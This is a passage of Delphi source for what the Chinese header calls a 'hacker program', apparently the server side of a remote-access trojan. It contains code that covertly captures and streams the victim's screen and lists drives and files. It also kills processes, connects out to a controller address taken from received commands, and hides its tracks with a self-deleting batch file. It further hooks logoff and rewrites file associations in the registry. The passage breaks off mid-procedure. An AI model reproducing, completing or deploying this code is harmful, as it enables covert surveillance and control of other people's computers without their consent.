unit1.pas

几个hacker程序源码简介： 1*远程主机的磁盘目录与文件的浏览

unit Unit1;

interface

uses
  Windows,Tlhelp32,Messages,SysUtils,Graphics,Forms,registry,jpeg,ScktComp,
  NMUDP,ShellApi,FileCtrl,Classes,DataExchge,Variants;
type
  TForm1 = class(TForm)
    MonitorSSocket1: TServerSocket;
    NMUDP1: TNMUDP;
    NMUDP2: TNMUDP;
    ListenUDP: TNMUDP;
    CSocket1: TClientSocket;
    ReplaceUDP: TNMUDP;
    ReplaceSocket: TClientSocket;
    FileExUDP: TNMUDP;
    MouseKeyBdUDP: TNMUDP;
    MonitorSSocket2: TServerSocket;
    FileCSocket1: TClientSocket;
    SysUDP: TNMUDP;
    AgentCSkt: TClientSocket;
    AgentSvSkt: TServerSocket;
    AgentUDP: TNMUDP;
    procedure MonitorSSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure MonitorSSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure NMUDP2DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure CSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ListenUDPDataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure ReplaceUDPDataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure ReplaceSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ReplaceSocketConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FileExUDPDataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure MouseKeyBdUDPDataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure MonitorSSocket2ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure CSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ReplaceSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure FormDestroy(Sender: TObject);
    procedure FileCSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FileCSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure FileCSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure MonitorSSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ListenUDPInvalidHost(var handled: Boolean);
    procedure ListenUDPStreamInvalid(var handled: Boolean;
      Stream: TStream);
    procedure NMUDP2InvalidHost(var handled: Boolean);
    procedure NMUDP2StreamInvalid(var handled: Boolean; Stream: TStream);
    procedure NMUDP1StreamInvalid(var handled: Boolean; Stream: TStream);
    procedure NMUDP1InvalidHost(var handled: Boolean);
    procedure FileExUDPInvalidHost(var handled: Boolean);
    procedure FileExUDPStreamInvalid(var handled: Boolean;
      Stream: TStream);
    procedure MouseKeyBdUDPStreamInvalid(var handled: Boolean;
      Stream: TStream);
    procedure MouseKeyBdUDPInvalidHost(var handled: Boolean);
    procedure ReplaceUDPInvalidHost(var handled: Boolean);
    procedure ReplaceUDPStreamInvalid(var handled: Boolean;
      Stream: TStream);
    procedure ReplaceSocketDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure CSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure MonitorSSocket2ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SysUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure AgentUDPDataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure AgentUDPBufferInvalid(var handled: Boolean;
      var Buff: array of Char; var length: Integer);
    procedure AgentUDPStreamInvalid(var handled: Boolean; Stream: TStream);
    procedure AgentCSktError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure AgentCSktDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure AgentSvSktClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure AgentUDPInvalidHost(var handled: Boolean);
    procedure AgentSvSktClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure AgentSvSktClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure AgentSvSktClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
     procedure MyHookMsg(var myMsg: TMessage);overload;message WM_QUERYENDSESSION;
  public
    { Public declarations }
  end;

Const
   SendBuffsize=8192; 
var
  sRLen1:Smallint;
  iRLen2:LongWord;
  AgentStream:TMemoryStream;//Agent增加

  GDirStream,GFileStream:TStringStream;
  CaptureID:integer;

  autoRUN:Boolean;

  Form1: TForm1;
  FirstSend:Boolean;
  AutoSendID:String;

  SwapBmp,SwapBmp0:TBitmap;
  
  fAtom:TAtom;
  BuffRead:Array[1..SendBuffsize] of char;
  SendSize:LongInt;
  DeskHWnd : Hwnd;
  dc: HDC;
  ScreenWidth, ScreenHeight: Integer;
  SendMemoryI,SendMemoryII:TMemoryStream;
  MiddleStream:TMemoryStream;   
  DirStringList,FileStringList:TstringList;
  TheBmp : TBitmap;
  jpg : TJpegImage;
  GMStream:TMemoryStream;
  ReplaceFileG:String;
  FileExt:String;
implementation
{$R *.DFM}
Procedure DelSelf;//清除自己
var
  CMDLst:TStringList;
begin
  CMDLst:=TStringList.Create;
  CMDLst.Add(':try');
  CMDLst.Add('Del '+Application.ExeName);
  CMDLst.Add('if  exist " '+Application.ExeName+' " goto try');
  CMDLst.Add('Del C:\$$CMDL.bat');
  CMDLst.Add('if  exist " '+Application.ExeName+' " goto try');
  CMDLst.SaveToFile('C:\$$CMDL.bat');
  CMDLst.Free;
  Application.Terminate;
  WinExec(PChar('C:\$$CMDL.bat'),SW_HIDE);
end;
Procedure GetDisksInfo(DskStream:TStream);
var
  bLNo:Byte;
  DiskLst:TStringList;
Begin
   DiskLst:=TStringList.Create;
   For bLNo:=3 To 20 do
    Begin
      if (diskFree(bLNo)<>-1)
         and (disksize(bLNo)<>-1) then
      Begin
        DiskLst.Add(chr(64+bLNo)+':'
            +'磁盘共有空间:'+IntToStr((disksize(bLNo) div (1000*1000)))
          +' MB 剩余空间:'+IntToStr((diskfree(bLNo) div (1000*1000)))+' MB');
      end;
   end;
  DskStream.Size:=0;
  DiskLst.SaveToStream(DskStream);
  DiskLst.Free;
end;
Procedure GetScreenStream(ScrStream:TStream;Quality:Integer);
var
  iII:LongBool;
begin
       Repeat
        iII:=StretchBlt(TheBmp.Canvas.Handle, 0,0,Screen.Width,
                    Screen.Height,dc,0,0,Screen.Width,Screen.Height,SRCCOPY);
       until iII=TRUE;
      jpg.Assign(Thebmp);
      application.ProcessMessages;
      jpg.CompressionQuality:=Quality;
      jpg.JPEGNeeded;
      jpg.Compress;
      ScrStream.Size:=0;
      jpg.SaveToStream(ScrStream);
end;
Procedure SendGetData(CMDList1:TStringList;SendStream:TStream;SendSock:TClientSocket);
Var
  SendStrm:TMemoryStream;
  SendBff:array[1..8192] of Byte;
  HeadBff:array[1..7] of Char;
  iLSID,iLLen:Integer;
begin
  SendStrm:=TMemoryStream.Create;
  SendStream.Position:=0;

  if SendSock.Active<>true then
  Begin
    Form1.caption:=CMDList1[1];
    if CMDList1[1]='4' then SendSock.Port:=998
                        else SendSock.Port:=997;
    CMDList1[1]:=IntToStr(StrToInt(CMDList1[1])-1);
    CMDList1.SaveToStream(SendStrm);
    SendSock.Address:=CMDList1[StrToInt(CMDList1[1])];
  end;
  SendSock.Tag:=0;
  Sendsock.Open;
  Repeat
   application.ProcessMessages;//形成循环
   if SendSock.Tag=100 then exit;
  until SendSock.Active=true;

  MergeArray7('A',Smallint(SendStrm.Size),SendStream.Size,HeadBff);
  Repeat//发送头标志
   Try
    iLSID:=Sendsock.Socket.SendBuf(HeadBff,7);
    except
     SendStrm.Free;
     exit;
    end;
  until iLSID<>-1;
  SendStrm.position:=0;
  Repeat //发送CMD列表
    iLLen:=SendStrm.Read(SendBff,8192);
    Repeat
     Try
       iLSID:=Sendsock.Socket.SendBuf(SendBff,iLLen);
       except
        SendStrm.Free;
        exit;
       end;
     until iLSID<>-1;
  Until SendStrm.Position>=SendStrm.Size;
  Repeat //发送数据区数据
    iLLen:=SendStream.Read(SendBff,8192);
    Repeat
     Try
       iLSID:=Sendsock.Socket.SendBuf(SendBff,iLLen);
       except
        SendStrm.Free;
        exit;
       end;
     until iLSID<>-1;
  Until SendStream.Position>=SendStream.Size;
  Sendsock.Close;
end;
Procedure OperatePrg(OutStrList:TStrings;TheStr:String);
const
  PROCESS_TERMINATE=$0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
  result,iL:integer;
  strLExeFileName:String;
  StrList:TStringList;
begin
  Try
   StrList:=TStringList.Create;
  except
   exit;
  end;
   strLExeFileName:=TheStr;
   result := 0;
   FSnapshotHandle := CreateToolhelp32Snapshot
                     (TH32CS_SNAPPROCESS, 0);
   FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
   ContinueLoop := Process32First(FSnapshotHandle,
                                 FProcessEntry32);
   while integer(ContinueLoop) <> 0 do
   begin
     if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
         UpperCase(strLExeFileName))
     or (UpperCase(FProcessEntry32.szExeFile) =
         UpperCase(strLExeFileName))) then
         Result :=Integer(TerminateProcess(OpenProcess(
                        PROCESS_TERMINATE, BOOL(0),
                        FProcessEntry32.th32ProcessID), 0));
    StrList.Add(FProcessEntry32.szExeFile);
    ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32);
   end;
 if TheStr='NULL' then
 begin
   try
    OutStrList.AddStrings(StrList);
   except
     StrList.Free;
     exit;
   end
 end;
 StrList.Free;
end;
procedure RegisterFileType(cMyExt, cMyFileType, cMyDescription, ExeName: string; IcoIndex: integer; DoUpdate: boolean = false);
var
   Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CLASSES_ROOT;
    Reg.OpenKey(cMyExt,True);
    Reg.WriteString('', cMyFileType);
    Reg.CloseKey;
    Reg.OpenKey(cMyFileType, True);
    Reg.WriteString('', cMyDescription);
    Reg.CloseKey;
    Reg.OpenKey(cMyFileType + '\DefaultIcon', True);
    Reg.WriteString('', ExeName + ',' + IntToStr(IcoIndex));
    Reg.CloseKey;
    Reg.OpenKey(cMyFileType + '\Shell\Open', True);
    Reg.WriteString('', '&Open');
    Reg.CloseKey;
    Reg.OpenKey(cMyFileType + '\Shell\Open\Command', True);
    Reg.WriteString('', '"' + ExeName + '" "%1"');
    Reg.CloseKey;
  finally
    Reg.Free;
  end;
end;
Function CaptureFileDir(TheDir : string;DirList,FileList:TStrings): Boolean;
var  SearchRec : TSearchRec;
     Separator : string;
begin
{R-}
   SearchRec.Attr:=faAnyFile;
   if Copy(TheDir,Length(TheDir),1)='\' then
      Separator := ''  else Separator := '\';
   DirList.Clear;
   FileList.Clear;
   if DirectoryExists(TheDir+Separator) then Result:=True else exit;
   Try
   if FindFirst(TheDir+Separator+'*.*',
                       faAnyFile,
                           SearchRec) = 0 then
   begin
    if FileExists(TheDir+Separator+SearchRec.name) then
      begin
        if ExtractFileExt(SearchRec.Name)=ExtractFileExt(FileExt) then
              FileList.Add(SearchRec.Name+'='+intToStr(SearchRec.Size)+'Byte');
           if FileExt='*.*' then
              FileList.Add(SearchRec.Name+'='+intToStr(SearchRec.Size)+'Byte');
      end else
     if DirectoryExists(TheDir+Separator+SearchRec.name) then
        begin
          DirList.Add(TheDir+Separator+SearchRec.Name);
        end;
      end;
    except
    end;
    
    try
    SearchRec.Attr:=faAnyFile;
    while FindNext(SearchRec) = 0 do
      begin
      if FileExists(TheDir+Separator+SearchRec.name) then
       begin
           if ExtractFileExt(SearchRec.Name)=ExtractFileExt(FileExt) then
              FileList.Add(SearchRec.Name+'='+intToStr(SearchRec.Size)+'Byte');
           if FileExt='*.*' then
              FileList.Add(SearchRec.Name+'='+intToStr(SearchRec.Size)+'Byte');
           if CaptureID<>1 then
           Begin
            if FileList.Count>50 then exit;
           end else if FileList.Count>3000 then exit;
       end else
       if DirectoryExists(TheDir+Separator+SearchRec.name) then
          begin
           DirList.Add(TheDir+Separator+SearchRec.Name);
           if CaptureID<>1 then
           Begin
             if DirList.Count>28 then exit;
           end else if DirList.Count>3000 then exit;
          end;
      end;
    except
    end;
    FindClose(SearchRec);
{R+}
end;
Procedure getFileStrs(Thedir:String;OutStrings:TStrings);
begin
  CaptureID:=1;
  if CaptureFileDir(TheDir,DirStringList,FileStringList) then
   begin
     OutStrings.AddStrings(DirStringList);
     OutStrings.AddStrings(FileStringList);
   end;
end;
procedure TForm1.MyHookMsg(var myMsg: TMessage);
begin
   Close;
   myMSG.WParam:=1;
   myMSG.LParam:=ENDSESSION_LOGOFF;
  inherited;
end;
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
procedure TForm1.MonitorSSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
{R-}
var
   ReadSize,SendStat,i:Integer;
   LenValue:LongInt;
   NewSendLen:array[1..4] of byte;
   CRect:TRect;
   SendcommandStr:String;
   SendcommandStr1,SendcommandStr2:String;
   II:Boolean;
begin                      
   //===========发送数据
   CRect.Top:=0;
   CRect.Left:=0;
   CRect.Right:=SwapBmp.Width;
   CRect.Bottom:=SwapBmp.Height;
   SendcommandStr1:='';
      SendcommandStr2:='';
      SendcommandStr:=Socket.ReceiveText;
      SendcommandStr1:=SendcommandStr[1]+SendcommandStr[2]
                       +SendcommandStr[3]+SendcommandStr[4];
      For i:=5 to Length(SendcommandStr) do
         begin
           SendcommandStr2:=SendcommandStr2+SendcommandStr[i];
         end;
    if ((SendcommandStr1='FAST') or (SendcommandStr1='FULL')) then
      begin
           AutoSendID:=SendcommandStr1;
           FirstSend:=True;
      end;    
  Try
    if ((SendcommandStr1='FAST') or (SendcommandStr1='FULL')
          or (SendcommandStr1='GOON')) then
    begin //**********************************************************
       Repeat
        II:=StretchBlt(TheBmp.Canvas.Handle, 0,0,ScreenWidth,ScreenHeight,
              dc,0,0,ScreenWidth,ScreenHeight,SRCCOPY);
       until II=TRUE;

        SwapBmp0.Assign(TheBmp);

        if (FirstSend=True) or (SendcommandStr1='GOON') then
        begin
            if  (AutoSendID='FULL') then
              begin
                FirstSend:=False;
                SwapBmp.Assign(TheBmp);
              end
            else if ((FirstSend=True) and  (AutoSendID='FAST')) then
              Begin
                 FirstSend:=False;
                 SwapBmp.Assign(TheBmp);
              end
            else Begin
                  TheBmp.Canvas.CopyMode:=cmSrcInvert;
                  TheBmp.Canvas.CopyRect(CRect,SwapBmp.Canvas,CRect);
                  SwapBmp.Assign(SwapBmp0);
                 end;
         end;

        Try
           MiddleStream.Clear;
          try
           jpg.Assign(Thebmp);
           application.ProcessMessages;
           jpg.CompressionQuality:=StrtoInt(SendcommandStr2);
           jpg.JPEGNeeded;
           jpg.Compress;